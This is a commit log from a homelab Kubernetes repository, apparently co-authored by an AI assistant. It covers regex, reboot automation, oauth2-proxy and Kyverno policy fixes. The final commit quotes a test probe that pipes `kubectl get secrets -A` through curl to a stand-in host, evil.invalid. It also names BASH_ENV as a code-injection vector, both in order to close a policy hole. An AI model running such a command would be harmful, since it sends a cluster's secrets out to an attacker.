home-network-k3s-impl

0 Fork 0

Author	SHA1	Message	Date
jakman85andClaude Opus 5	793c3940a8	fix(conformance): one regex made the merge gate take 28 minutes instead of 2 gate / gate (pull_request) Successful in 1m55s Details gate / conformance (pull_request) Has been skipped Details ha-control-plane-as-code/check.sh had: re.search(r"--server https://.?\n(?:.\n){0,10}?\swhen:...'secondary'", K3S_TEXT, re.S) With re.S every `.` matches newlines, so `.?` and the nested `(?:.\n){0,10}?` can each consume the whole document -- nested unbounded repetition, which backtracks exponentially on a failed or late match. MEASURED in CI via `docker top` on the live job container: python3 at 19:54 of CPU time, which is essentially the entire ~28 minute gate. Localised to the exact line by extracting the inline python and running it under faulthandler.dump_traceback_later, which named re/__init__.py:177 in search from this call -- not inferred from reading. Replaced `.` with `[^\n]` and dropped re.S, so the {0,10} is a real ten-line window with nothing to backtrack into. On the real input (22,179 chars): 0.2 ms, match still found. Whole check: 0.199s, rc 0, 115 assertions, identical success message. WHY IT SURFACED NOW, AND IT WAS MINE: K3S_TEXT is every .yml in roles/k3s_server concatenated. The regex was latent for as long as it existed; PR #71 added ~100 lines to that role (kubelet graceful-shutdown config), growing the input past the point where exponential backtracking stopped being survivable. WHY ONLY infra/* WAS SLOW: touched-requirements.sh maps infra/* to R-ENV-01, so the L0 run becomes --include-scope whole-repo --requirements R-ENV-01, which selects this whole-repo check. Doc/platform changes never did -- #69 1m55s and #72 1m53s stayed fast while #71 27m44s, the #73 merge 27m46s and #75 all ran ~28m. The pattern is unique in the repo (grep over all l0-static check.sh files). Not re-timed in CI post-fix; this PR's own run is the first datapoint. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>	2026-10-18 02:38:23 -05:00
jakman85andClaude Opus 5	a2440a3125	feat(upgrades): automated OS reboots (kured) + security-only unattended-upgrades, and give Renovate a runner gate / gate (pull_request) Successful in 1m57s Details gate / conformance (pull_request) Has been skipped Details Two halves of one repeatable upgrade process. Neither works alone. (a) OS upgrades and reboots platform/kured/ — Kubernetes Reboot Daemon, chart 6.1.0/app 1.23.0, in its own Flux Kustomization (dependsOn platform, wait:true). NOT in platform/kustomization.yaml: that tier gates platform-config and every apps wave, so a wedged reboot daemon there could stall every application. A component added to make maintenance safer must not be able to cause an outage. infra/ansible/roles/unattended_upgrades/ — new role (node_baseline is touched by other open branches, and this is a different lifecycle), enabled for prod in group_vars. The human gate is the SENTINEL, which is how this honours node_baseline's "IT DOES NOT REBOOT" (k3s-prod-2 hung on a warm reboot 2026-09-03) and cluster-upgrade-plan.md's rejection of automating away the gate between nodes: u-u is security-only with the kernel blacklisted, so it essentially never writes /var/run/reboot-required. That file appears when an operator deliberately runs node-baseline.yml --tags kernel. kured then does only the mechanical half, including the ordering rule node_baseline has to shout. Quorum: concurrent reboots are structurally impossible, not merely unlikely. concurrency:1 plus kured's single lock annotation (API-server optimistic concurrency), and lockTtl:0 — an expiring lock is exactly the 3-node etcd catastrophe, so a hung node holds it forever and nothing cascades. Longhorn: measured 25 volumes x 3 replicas, hard anti-affinity, 600s replenishment wait, serialized rebuild — so every drain degrades ALL volumes to 2/3 and the inter-node gate must be volume robustness, not pod readiness. Doubled: lockReleaseDelay 30m (unconditional) plus kured's Prometheus alert gate (semantic). alertFilterMatchOnly:true is load-bearing — the flag inverts the regexp's meaning, and under the chart default kured would have been blocked on day one by the five alerts measured firing with no end in sight, and never rebooted anything. Kernel floor (kernel >= 6.13, EFI memattr): excluded TWICE. The running kernel comes from o=Debian Backports, which is not an allowed origin, so u-u cannot see a kernel upgrade; and ^linux- is blacklisted anyway so widening origins later cannot re-arm it. Asserted against apt-config dump, not against the file just written. 6.12 kernels are still installed and bootable on all three nodes, and nothing was held. Closes a silent no-op: update-notifier-common was absent on all three nodes, so NOTHING could create the sentinel. kured alone would have idled forever at 1/1 Running. platform/kured/alerts.yaml — three rules over kured's only metric, with a companion promtool suite pinning each both ways, plus runbooks/node-reboot-automation.md. Window is DAILY 03:00-06:00 because a weekly one forces for:8d, longer than this cluster's 7d Prometheus retention. (b) Image/dependency automation Renovate was aspirational: renovate.json present and complete, with no workflow, no in-cluster workload, and its docker+kubernetes managers disabled — so every plain image: tag was maintained by nothing while seven files claimed otherwise. .gitea/workflows/renovate.yaml — scheduled daily, dry_run default true for a safe first run, and a preflight that FAILS (not skips) without RENOVATE_TOKEN, because a skipped Gitea job reports success and that is how this stayed inert. Renovate now owns both halves; Flux image-automation is formally closed: it pushes commits rather than opening PRs (bypassing CLAUDE.md §1), and it cannot work here anyway — main is protected user_can_push:false and the flux-system GitRepository has no secretRef. Its controllers are installed and have idled 43 days with zero CRs. conformance/: +34/-0, one new SCRAPE_OWNERS entry claiming kured_. Weakens nothing; tightens the check for this component (requires service.create+metrics.create, both chart-default false, plus a companion NetworkPolicy requirement). Required because assertion (3) fails an alert over an unclaimed metric and KNOWN_UNWIRED_METRICS is shrink-only. Sensitive paths touched: clusters/, conformance/, .gitea/** — needs a non-author approving review; /approve-override deliberately NOT posted. NOT verified: no OS upgrade run, no node rebooted, no lock observed, the Ansible role never executed, and whether CNPG switches its primary on a drain-induced eviction (the most likely way the first real reboot fails). Full list in the handoff entry. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>	2026-10-18 00:10:29 -05:00
jakman85andClaude Opus 5	b156ee6cfa	fix(obs): open 44180 to ns monitoring so the forward-auth gate sidecars are actually scrapable gate / gate (pull_request) Successful in 1m51s Details gate / conformance (pull_request) Has been skipped Details platform/oauth2-proxy/podmonitor.yaml landed 2026-10-02 and discovered six targets that have never once scraped. Measured on prod 2026-10-04: all six read health=down with lastError "context deadline exceeded" and lastScrapeDuration exactly 10.0s — the configured scrapeTimeout, i.e. packets DROPPED rather than refused. Cause: every app namespace ships a default-deny NetworkPolicy with policyTypes: [Ingress, Egress] and NO ingress key at all (deny-all-ingress), and the only ingress allowance is <app>-allow-gateway-ingress: fromEntities: [ingress] -> 4180. Prometheus matched no clause. Verified identical in all six of jackett, radarr, sonarr, qbittorrent, pihole, crafty; zero namespaces had any -allow-monitoring-scrape object. render.py already had the right idiom — r_monitoring_ingress_policy — but it returned None unless the service declared observability.metricsEndpoint, and NO ServiceDefinition in this catalog declares one. It was wired in at the call site and had never emitted a single object on any branch: correct, and entirely latent. It now also fires for the forward-auth gate sidecar's own metrics port, keyed on _needs_oauth2_sidecar — deliberately the same condition the scrape keys on, since podmonitor.yaml selects pods purely by the auth-mode label, so a target exists iff the sidecar exists. Keying on observability.metrics instead would let metrics: false produce a discovered-but-blocked target: the same "two halves authored apart" failure this function exists to prevent. Rendered here rather than in platform/oauth2-proxy because that tier would have to name app namespaces created by the sibling apps-wave-0/1 tiers — it would apply on a running cluster and fail on a cold bootstrap. podmonitor.yaml's header records that objection; rendering per-app dissolves it. Five CNPs result, one per forward-auth app, each opening only 44180 to only ns monitoring. apps/ re-rendered with the invocation it was generated by (--no-image-automation, verified byte-identical beforehand); --emit-waves deliberately not run, so no wave kustomization moved. Three L1 goldens are regenerated with it (+63 lines, -0): a renderer change that adds an object necessarily drifts the goldens that pin the renderer's output. The first gate run caught container-workload-render and egress-class-render as FAIL with exactly this CNP as the drift. default-deny-baseline-render's golden regenerated byte-identical, which is the evidence that the regen is faithful and not a rubber stamp. That puts conformance/** in the diff, which is a sensitive path: this PR needs a non-author approving review. The local gate cannot see that — offline it reports approval-policy green (N/A). Local toolbox gate: rc 3 UNDETERMINED, not 0. Every stage that ran is green and l1 went FAIL -> pass with the goldens; the only not-run stage is gitea-settings (no GITEA_SETTINGS_TOKEN). L2/L3 conformance is UNVERIFIED for all 8 touched requirements. Not verified: that the scrape now succeeds. Nothing is applied until Flux reconciles main. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>	2026-10-04 16:05:44 -05:00
jakman85	4f16e83eec	Merge pull request 'feat(obs): make oauth2-proxy auth failures visible — the gates emit nothing' (#29 ) from feat/oauth2-proxy-auth-failure-visible into main gate / gate (push) Successful in 1m43s Details gate / conformance (push) Has been skipped Details Reviewed-on: #29 Reviewed-by: Keith Jackson <[email protected]>	2026-10-02 04:55:43 +00:00
jakman85andClaude Opus 5	99560c2d22	feat(auth): declare API paths per service, so --api-route can ship at all gate / gate (pull_request) Failing after 1m44s Details gate / conformance (pull_request) Has been skipped Details PR #28 fixed the cookie collision, the 5-minute session and the missing metrics listener in one renderer function, and deliberately declined `--api-route` because the config model could not express the difference between two apps. This adds the hook it was missing and sets the flag only where a measurement says to. THE DEFECT. oauth2-proxy answers an unauthenticated request with a 302 to Keycloak. Its AJAX guard would send 401 instead, but it fires only on an EXACT `Accept: application/json`, which these apps' JavaScript does not consistently send. So a browser XHR gets a 302, FOLLOWS IT INVISIBLY, has it satisfied silently by the live SSO session, and resolves 200 carrying the app's HTML where the JavaScript expected JSON. On a write it is worse: a browser following a 302 re-issues a POST as a GET and DROPS THE BODY, so the operator's change is discarded and the UI reports success. MEASURED, on two apps and two different paths -- which is the whole argument: jackett 2026-09-30: 33 x 302 vs 2 x 401 on /api/ paths, and 4 of 6 POSTs answered by the proxy and never reaching Jackett (upstream `-`). radarr 2026-10-01, 23h after PR #28 deployed (pod radarr-7d55cbffb9-42hmh, 0 restarts): 232 unauthenticated requests in the pod's whole life and ALL 232 are the same call -- POST /signalr/messages/negotiate from a browser, 302, upstream `-`. A left-open tab whose session the cookie rename orphaned, polling forever, silently redirected every time and NEVER re-prompting. The reported symptom, still in production. So radarr's broken path is /signalr/ and jackett's is /api/, and PIHOLE SERVES NO /api/ AT ALL. One function renders all five sidecars, so the cheap fix is a constant -- and a constant applies one app's measurement to four apps nobody measured. `auth` was `additionalProperties: false`, so there was no per-app hook. Adding one named, documented key is the change; the block stays closed. schemas/servicedefinition.schema.json 1.8.0 -> 1.9.0: optional `auth.apiRoutes`, a list (radarr needs two, and --api-route is natively repeatable) of anchored path regexes. Plus the shape invariant that a non-empty list requires mode: forward-auth, since no sidecar is rendered for oidc/native/none and declaring it there would be a SILENT NO-OP. catalog/render.py emits one --api-route per entry, in order, and RAISES on an unanchored entry. The flag is SINGULAR -- verified against the pinned v7.8.1 binary's own --help; --api-routes does not exist and the proxy refuses to start with it. catalog/{jackett,radarr}.yaml the two measured apps. catalog/{pihole,sonarr,qbittorrent}.yaml comments recording that they get NOTHING, and why. Sonarr and qBittorrent were measured (0 unauthenticated requests in 23h) and left alone: that is evidence of no TRAFFIC, not of no need, and sonarr being nearly radarr's codebase is what makes the guess tempting and still a guess. apps/wave-0/jackett.yaml, apps/wave-1/radarr.yaml regenerated. Only TWO goldens change; pihole/qbittorrent/sonarr are byte-identical to main, which is the per-app property proving itself on the real tree. BREADTH IS THE DANGEROUS DIRECTION AND IT IS NOT SYMMETRIC. A missing --api-route is a silent 302. A too-broad one answers a plain PAGE LOAD with 401, so a logged-out operator gets a bare error page and is never offered a sign-in -- the service looks permanently broken. Each entry must therefore match `^\^/[A-Za-z0-9._~/-]+(\.\\|\$)?$`: anchored at ^/ then literal path characters. `^/`, `^/.`, `.*`, `/api/` and `^/api/\|^/` are all rejected, all five provoked. Alternation is refused rather than supported because the flag is repeatable, so one entry per route costs nothing. NEW GATE CHECK: conformance/tests/l0-static/oauth2-proxy-api-routes-per-app (whole-repo scope, so ci/l0.sh's --include-scope union runs it on every invocation; no bespoke stage, which whole-repo-invariants-wired would fail). It is a SIBLING of oauth2-proxy-cookie-names-distinct, not an extension of it: that check's subject is cookie IDENTITY and shares neither inputs nor failure mode with this, so bundling them would make its name a lie and let a future api-route decision be expressed only by weakening a COOKIE check. The check exists for one reason the other gates cannot cover: render-golden compares the render to the goldens, so a RENDERER CONSTANT plus regenerated goldens AGREE WITH EACH OTHER while both being wrong. Provoked: the regen exits 0 -- render-golden is happy -- and this check exits 1 with 15 failures naming pihole, qbittorrent, radarr and sonarr individually. It also asserts the anchoring pattern is the SAME in the schema and the renderer, because three surfaces guard this and if they drift the loosest wins silently. Tested in both directions on throwaway trees outside the repo: compliant tree rc 0 / 43 assertions / 6 sidecars; pre-change tree rc 1 / 11 failures; and four targeted mutations (hand-edited golden, widened regex, renderer constant, deleted schema pattern) each firing their own assertion class and nothing else. ALSO FOLDED IN (coordinator's request; defect is in the file I own). _selftest() reached _cookie_name() through a bare `next(genexpr)` with NO default, so deleting the --cookie-name emission -- the exact mutation that assertion exists to catch -- raised StopIteration, which escaped _selftest() BEFORE its collected `SELFTEST FAIL:` lines were printed. Right verdict, zero diagnostics, and it masked every other assertion the same mutation broke (found by Desmond Oyelaran while wiring the selftest into the render-golden stage; his PR #33 is not in this base -- origin/main @ `cdf3e14` drives the selftest from no stage, checked). Fixed with `next(..., None)` plus an explicit check(), so a missing flag reports as a NAMED assertion. Provoking it exposed three more instances of the same class in the same block -- `side = fa_containers[1]`, `side["env"][0]`, and the fa_svc lookup all raise rather than assert when the sidecar is absent -- so all four are now None-tolerant, and the two fixtures added for --api-route were written that way from the start. Measured on throwaway copies: --cookie-name deleted: before rc 1 / 0 FAIL lines / StopIteration after rc 1 / 3 FAIL lines / no traceback sidecar not appended: before rc 1 / 0 FAIL lines / IndexError after rc 1 / 20 FAIL lines / no traceback Goldens are unchanged by this part; it touches _selftest() only. NOT verified, in full in the handoff entry: no browser round-trip by anyone for this flag -- that a 401 REPAIRS the operator's experience is reasoned from HTTP semantics, not watched. `^/api/` on radarr is PR #30's measurement of radarr's pre-fix pod, not mine; the current pod has zero /api/ traffic. Sonarr and qBittorrent are UNMEASURED, not cleared. --cookie-refresh is still unexercised (0 AuthSuccess on all five pods). Nothing was applied; the live pods are still the pre-change spec. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>	2026-10-01 22:07:08 -05:00
jakman85andClaude Opus 5	bce101d03f	feat(obs): wire the gate-sidecar scrape, and fix the alert that would have gone silent doing it gate / gate (pull_request) Failing after 1m42s Details gate / conformance (pull_request) Has been skipped Details PR #28 gave the five fleet oauth2-proxy sidecars --metrics-address=0.0.0.0:44180 and a named `metrics` port. This wires a scraper to them and, in the process, found a real bug in the alert this branch added. PodMonitor, not ServiceMonitor. Measured: no Service exposes 44180 on any of the five (jackett/radarr/sonarr/qbittorrent/pihole all publish only their app port + authproxy 4180), so a ServiceMonitor would select nothing. A PodMonitor targets pod ports directly and needs no change to catalog/render.py or the apps/wave-* renders and goldens. Selector is the pod label homelab.keithjackson.dev/auth-mode=forward-auth — present on exactly those five gate pods, absent from crafty's, which still has no metrics listener. The property, not an app list. THE BUG: `up{container="oauth2-proxy"}` -> `up{container="oauth2-proxy"} == 1`. A target that is discovered but FAILING still publishes `up`, with value 0. The series exists, so count by (namespace) returned 1, `unless` removed the namespace, and OAuth2ProxyGateUnobserved went QUIET while nothing was being scraped at all — this branch's own disease reproduced inside the alert written to cure it. Not hypothetical: the PodMonitor lands five targets whose scrape is dropped, so the bare form would have silently cleared on this very commit. Proven by mutation: reverting the `== 1` fails the two new unit-test scenarios (got: nil) and leaves every other assertion green. The scrape does NOT work yet, and that is documented rather than papered over. From a pod in ns monitoring to the jackett pod, :44180 AND :4180 both time out; the shared proxy's :44180 answers. ns jackett's default-deny is podSelector:{} with policyTypes:[Ingress,Egress] and NO ingress key (deny-all), and the one allowance is fromEntities:[ingress] to 4180 — the Gateway's Envoy only. The endpoint itself is healthy: port-forwarded, /metrics returns http=200, 10208 bytes, all three oauth2_proxy_* families including requests_total{code="302"}. Same bug and fingerprint as platform/longhorn/networkpolicy-metrics.yaml records for Longhorn; the fix is one narrow rule per app, and it cannot ship from this tier because oauth2-proxy and apps-wave-0 are Flux SIBLINGS (both dependsOn platform-config), so naming ns jackett here would apply today and fail on a cold rebuild. Needs an owner in the renderer. Touches conformance/** : one KNOWN_EXTERNAL_MONITORS entry, which is the mechanism the failing check explicitly instructs ("DECLARE it ... with who creates it") and which flux-podmonitor.yaml already uses. It records that the port name was measured on prod instead of resolved from a Service, and that the targets are currently down. That makes this PR require a non-author review on the sensitive-path rule. Also: ratio alert still NOT shipped. oauth2_proxy_requests_total now exists on the endpoint but not in the TSDB, so writing it today would make it inert for exactly the reason it was refused on 2026-09-30. Runbook gains policy-vs-no-target triage and the radarr /signalr/messages/negotiate worked case — one orphaned browser tab, 206 identical 302s, nobody ever re-prompted. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>	2026-10-01 21:56:07 -05:00
jakman85andClaude Opus 5	dc136a4943	fix(auth): the forward-auth sidecar also died at 5 minutes and served no metrics gate / gate (pull_request) Successful in 1m42s Details gate / conformance (pull_request) Has been skipped Details Widens the cookie-collision fix to the whole sidecar contract, because all three defects live in the same function and land on the same five goldens, so they are one atomic change or they are five conflicting ones. Added to _oauth2_sidecar_container(), on top of the cookie-name/cookie-domain fix: --cookie-refresh=2m30s The session died FIVE MINUTES after sign-in. Keycloak's homelab realm issues 300-second access tokens (MEASURED on a live session: expires - created = 300.000s exactly, with refresh_token:true on the same line), and --cookie-refresh defaults to 0 -- which the pinned binary's own help spells "0 to disable". So the proxy held a refresh token it was never told to spend. Refresh at HALF the lifetime: two chances to renew before expiry. This, not the collision, is what dominates the rejection VOLUME -- ~95% of radarr's 155 rejections in 12h carry no cookie at all. --metrics-address=0.0.0.0:44180 + a `metrics` container port Without the flag the /metrics listener never starts, so no per-app sidecar was serving metrics at all (`ports` was ['http'] on all six). 44180 is the platform's existing convention, measured not chosen: the shared proxy already runs the same flag and port with 2 ready endpoints. PREREQUISITE ONLY -- NOT scraped. A container port is not a Service port, and each namespace's default-deny baseline is `ingress: []`, so this is unreachable until a Service port (or PodMonitor), a monitoring allow and a ServiceMonitor land. Do not read this as "the sidecars have metrics now". EVERY FLAG VERIFIED AGAINST THE PINNED v7.8.1 BINARY (`--help`), not against docs or the shared proxy -- which runs v7.15.3 and could not have vouched for v7.8.1: * --metrics-address exists in 7.8.1, so this cannot crashloop the pods * --cookie-refresh ... "0 to disable" confirms the default * --cookie-name ... (default "_oauth2_proxy") -- this confirms from the IMPLEMENTATION the constant the new L0 check is built on * --api-route is SINGULAR; the plural does not exist and the proxy refuses to start * --session-cookie-minimal exists and is mutually exclusive with --cookie-refresh, so dropping --pass-access-token is a least-privilege argument, never a size fix NOT done, deliberately: --api-route=^/api/ renderer-wide. It was measured on jackett and PiHole does not serve /api/, so a renderer constant would apply one app's path shape to five. It needs a per-app hook the `auth` schema forbids (additionalProperties: false) -- a schema change, separate PR. Also records the mechanism that made this INTERMITTENT, as a renderer comment, because nobody would reconstruct it from the flags: the loser does not just fail to read the cookie, it calls ClearSession, which expires the cookie on its own --cookie-domain -- the whole zone. The *arr UIs poll (/api/v3/command, /api/v3/queue/details, /signalr/negotiate), so every poll carrying an undecryptable cookie clears it again: A LEFT-OPEN RADARR TAB DELETED JACKETT'S COOKIE EVERY FEW SECONDS, from another namespace, with no user action. That is why signing in again never helped for longer than the gap between two polls. Crafty's counter-evidence resolved: the 81:1 ratio was a 24h window straddling a 13h52m-old pod. Bounded to the fixed process, crafty's ENTIRE life is 3 rejections in 6743 log lines, with ZERO `removing session` and ZERO `cookie signature not valid` against unfixed radarr's 8 and 8. The eviction fingerprint is gone where the fix is deployed. It logged 0 AuthSuccess too, so that is absence-of-the-failure-mode rather than a session watched working -- stated as such in the handoff. Renderer selftest gains six assertions, including a --cookie-refresh check that PARSES the duration and requires 0 < refresh < 300s (so 2m30s/150s/2.5m all stay green while a silent widening past the token lifetime does not). NOTE, and it is in the handoff as the top follow-up: NOTHING IN ci/ RUNS `render.py --selftest`, so those assertions are dev-time only. conformance/tests/l0-static/auditability-proofs-producible/check.sh:291 already drives other tools' selftests for exactly this reason and is the one-line fix. Gate (toolbox, worktree shim with the spec repo mounted at /home-network-k3s): rc 3 UNDETERMINED. Green: spec-immutability, decisions-log, lint, l0, render-golden, l1, approval-policy. Skipped: gitea-settings (no local token), conformance (declared). The new L0 check PASSES on this branch -- all five apps fixed in one commit. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>	2026-09-30 13:07:43 -05:00
jakman85andClaude Opus 5	9a4489b733	fix(auth): five oauth2-proxy sidecars shared one cookie and evicted each other gate / gate (pull_request) Failing after 1m43s Details gate / conformance (pull_request) Has been skipped Details Every oauth2-proxy on this platform is an independent instance with its OWN cookie-secret. Measured on prod 2026-09-30: seven `-oauth2-proxy` Secrets, seven DISTINCT cookie-secret values (compared in-cluster, never printed). So no instance can DECRYPT another's cookie -- it can only OVERWRITE it. All of them were emitting oauth2-proxy's DEFAULT names (`_oauth2_proxy`, `_oauth2_proxy_csrf`) scoped to `.${BASE_DOMAIN}`, so the browser kept ONE cookie pair for SIX live instances (jackett, pihole, qbittorrent, radarr, sonarr, and the shared forward-auth proxy). Whichever authenticated last clobbered the rest; the loser logged `No valid authentication in request`, bounced to Keycloak, and -- the SSO session still being live -- was redirected straight back and clobbered it again. The symptom is "I signed into Keycloak but I'm still not signed in", which sends you hunting in Keycloak, where nothing is wrong. Crafty was fixed on its own side on 2026-09-29 (#22); this is that fix generalized to the pattern. THE DEFECT WAS NOT IN THE MANIFESTS. apps/wave-/{jackett,pihole,qbittorrent,radarr, sonarr}.yaml are GENERATED goldens; one function emits all five. So the fix is in catalog/render.py::_oauth2_sidecar_container(), and both flags are now DERIVED from the ServiceDefinition rather than defaulted: --cookie-name=_oauth2_proxy_{s['name']} unique by construction --cookie-domain={host} the app's own host, not the zone A per-service table was rejected for the reason twelve ServiceMonitors once acquired one identical wrong port name in a single edit: it would leave the NEXT app onboarded defaulting straight back into the collision. --whitelist-domain stays zone-wide; it governs post-login REDIRECT targets, not cookie scope. Host-scoping is defence in depth and is asserted deliberately: a zone-wide cookie is transmitted by the browser to every host in the zone, so each app's session token was being sent to every sibling -- and it is what would make a FUTURE name collision platform-wide instead of contained. New gate check (whole-repo scope, so it runs on EVERY gate invocation, not only when a touched path happens to attribute an identity requirement): conformance/tests/l0-static/oauth2-proxy-cookie-names-distinct/ It resolves each instance's EFFECTIVE cookie name -- declared, or oauth2-proxy's built-in default when omitted, because an omitted flag is not an absence but a CLAIM on a name, and reading it as an absence is exactly why this survived five reviews. Then: no two collide; none is another's name + `_csrf` (oauth2-proxy derives the CSRF cookie that way); the default has exactly ONE owner, registered with its reason in a shrink-only register -- the SHARED proxy, which MUST keep `_oauth2_proxy` because renaming it signs every other gated surface out at once; every other instance is host-scoped; render.py derives rather than lists; and the SHIPPED renderer is proven end-to-end on two synthetic ServiceDefinitions, so the check stays falsifiable once the tree is clean. Tested in both directions: rc 0 on this tree (39 assertions, 7 instances), rc 1 with 26 failures against the pre-fix tree, plus one targeted mutation per assertion class (duplicate name, CSRF derivation, zone-wide domain, unregistered default heir, stale register entry) -- each fired, and nothing else did. Also regenerates the three L1 rendering goldens, which are expected-output fixtures of the same renderer. UNVERIFIED: no browser round-trip. The collision has still never been REPRODUCED in a browser -- doing so needs two gated apps visited in one session -- so this is reasoned from measured configuration and from the mechanism, not from a failure anyone watched. Nothing was applied; merging rolls five Deployments and invalidates every existing session on them once. See decisions/2026-09-30-oauth2-proxy-cookie-collision-fleet.md. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>	2026-09-30 10:55:06 -05:00
jakman85andClaude Opus 5	55b232e2ce	feat(obs): notify on Flux deploy start and completion gate / gate (pull_request) Successful in 1m40s Details gate / conformance (pull_request) Has been skipped Details The operator got no mail when Flux began applying a git change and none when it finished. Measured cause: notification-controller v1.4.0 is running and its CRDs serve v1beta3, but there are ZERO Provider and ZERO Alert objects in the cluster — nothing in git ever created any. The obvious fix does not work. Neither Flux event can be filtered into a deploy signal: ReconciliationSucceeded is a heartbeat (101 events in one hour across 16 Kustomizations, message byte-identical whether the apply changed anything), and Progressing is worse (five Kustomizations re-apply the same object on every tick — event counts 2505/2504/2501/2495/2490). gotk_* carries no revision label at all (gotk_reconcile_condition 120 series, gotk_suspend_status 40, none with one). The applied revision is the only signal that moves when and only when git moves, and it lives in object status alone. So export it via the kube-state-metrics custom-resource-state path that already serves the Velero Schedule metrics — kube_flux_kustomization_info/_suspended and kube_flux_gitrepository_info — and ask the question in PromQL: FluxRolloutInProgress (severity: info, no `for:`) fires the moment a non-suspended Kustomization's applied revision is not the revision the GitRepository fetched from main, and CLEARS when all have caught up. Fired mail = a deploy started; RESOLVED mail = it completed. The completion half is send_resolved, not a second rule. FluxRolloutStuck (severity: warning, for: 30m) is the same expression as the escalation for a rollout that started and never converged. Two guards, each with a test whose only job is to fail if the clause is removed: `and on () (count(gitrepository_info) > 0)` — without it a missing exporter makes `unless on (revision) <empty>` remove nothing and all 16 Kustomizations alert forever, the permanently-firing mode this repo shipped once already — and the suspended-Kustomization exclusion, without which a suspended tier holds the rollout open and the "applied" mail never arrives. A dedicated Alertmanager severity=info route + email-deploy receiver keeps deploy notices off the [WARNING] catch-all. podAnnotations carries a roll-counter because the chart sets no checksum over the custom-resource-state ConfigMap, so a config-only edit would leave KSM on the old collector set with the new alerts silently inert. Verified: promtool SUCCESS on 6 scenarios (both guards, plus the convergence test that proves the alert empties itself); lint/l0/render-golden/l1/decisions-log/ spec-immutability green in the pinned toolbox. NOT verified: no mail has been sent — the metrics do not exist until this merges. Full gap list, and the deliberately-cut notification-controller half, in the handoff entry. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>	2026-09-29 23:40:01 -05:00
jakman85andClaude Opus 5	f6e8fb1fee	fix(sec): the trigger policy read `containers` and nothing else — initContainers, ephemeralContainers and env were all open Authorised by the coordinator in this PR, reversing the brief's "do not touch the policy": the ban existed to stop the boundary being BENT to fit a Job, not to stop a hole being closed. MEASURED before this change (kyverno v1.19.0, pinned toolbox), `containers[0]` fully compliant, `serviceAccountName: conformance-runner`: * a `privileged: true` `docker.io/library/alpine:latest` initContainer running `kubectl get secrets -A` -> pass: 3, fail: 0 ADMITTED * the committed template with ONLY the init container's args swapped for `kubectl get secrets -A \| curl -X POST ... http://evil.invalid/` -> pass: 3, fail: 0 ADMITTED Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's `containers[0].args`) or `volumes` (rule 2). `=(privileged): "false"` only ever applied to `containers[0]`. `ephemeralContainers` and `env` were equally unread. Four new rules: * trigger-initcontainers-must-be-the-committed-clone-step — at most ONE initContainer, on the digest-pinned runner image, command ["/usr/local/bin/conformance-clone"], NO args, non-root, no privilege escalation, not privileged. * trigger-may-not-declare-ephemeral-containers. * trigger-env-names-must-be-the-committed-set — `command` is pinned, so injection moves to a variable the pinned command honours, and BASH_ENV alone is arbitrary code execution: bash sources it before running a non-interactive script, and the runner's command IS one. * trigger-may-not-use-envfrom — a whole Secret as env, whose keys are nowhere in the Job. All use `deny` conditions, not a `pattern`. A Kyverno array pattern asserts "at least one element matches", so a pattern-based init rule would have admitted the committed clone step PLUS an arbitrary second init container — fixture `second-initcontainer` exists because I nearly wrote it that way. THE ACTUAL FIX IS THAT THE CLONE SCRIPT LEFT THE JOB. Pinning `command` is worthless when the command is `/bin/bash -c` and the script arrives as `args`: a policy cannot distinguish the committed script from an attacker's, because both are just data. The logic now lives in the image at /usr/local/bin/conformance-clone, from `conformance/incluster/conformance-clone` (agent 1, PR #18 — which must merge before this template is usable). I had written a second copy of that script here and DELETED it: two copies of the clone entrypoint, one baked into the image and one not, drifts into "the reviewed file is not the file that runs". I read theirs first: the interface matches exactly (CONFORMANCE_GIT_SHA, GITEA_USERNAME/GITEA_TOKEN, baked clone target /workspace/src — which is what makes workingDir correct — TMPDIR/HOME under /workspace) and both load-bearing guards survived, the `^[0-9a-f]{40}$` SHA check and `rev-parse HEAD == SHA`. Env values and the `valueFrom` source Secret are deliberately NOT constrained: values are legitimately environment-specific, and conformance-runner can already read this namespace's Secrets via its own RBAC. Names are the vector, because a name is what a program keys on. Two Kyverno traps, commented in the rules because both silently invert the result: `not_null(x, `default`)` and never `\|\|` (JMESPath treats `false` as falsy, so `allowPrivilegeEscalation \|\| `true`` rewrites the COMPLIANT value into a denial); and `join(' ', command)` compared as a string, because Equals/NotEquals on arrays is unreliable and element-wise matching lets `["/bin/sh","-c",...]` through on element 0. ALSO: the committed `args` default was a shape that cannot run. Agent 1 measured that `--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the runner image, which ships no flux/promtool/kyverno/kustomize. Tracing run.sh gives the precise invariant — `requirement_scoped_dirs()` is layer-bounded only when `--layer` is given and is not `all`, and `offline_selected_dirs()` then filters to /l0-static/\|/l1-rendering/ — so `--layer` is mandatory and must name only l2/l3. Default changed from `--layer all --strict-coverage` to `--layer l2,l3`, and the header now records that the plan's "PHASE EXIT: --layer all" shape CANNOT run in-cluster: a full-suite run is CI's L0/L1 plus this Job's L2/L3. The policy's args allowlist is deliberately NOT narrowed to match — a security boundary should not encode which toolchain an image ships, and an allowed-but-unrunnable shape fails loudly rather than escalating. PROVEN, NOT ASSERTED (7 rules): real rendered template -> pass: 7, fail: 0 coordinator's exact initContainer probe -> fail on trigger-initcontainers-... (6/1) ephemeralContainers probe -> fail on trigger-may-not-declare-... (6/1) Fixture matrix 65 pass / 13 fail / 0 error / 0 skip, full table in decisions/2026-09-29-conformance-job-template.md. Every evil init/ephemeral/env case still PASSES the three original rules — that column is the finding. `injected-initcontainer-env` PASSES the initContainer rule and is hostile purely through env, which is why env had to be its own rule. UNVERIFIED: whether the API server accepts `ephemeralContainers` in a Job pod template at all. Upstream the field is settable only via the pods/ephemeralcontainers subresource, but whether that check reaches a nested pod template is not something I could establish without a `create --dry-run=server`, a mutating request reserved to the operator (CLAUDE.md §5). Rule added regardless: a no-op if upstream rejects it, the same hole if not. Gate (toolbox): lint green (404 files), l0 green (kyverno test: 1 policy / 15 resources), render-golden green (10), l1 green; spec-immutability + gitea-settings SKIPPED; MERGE GATE UNDETERMINED rc 3. Nothing FAILED. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>	2026-09-29 23:02:16 -05:00
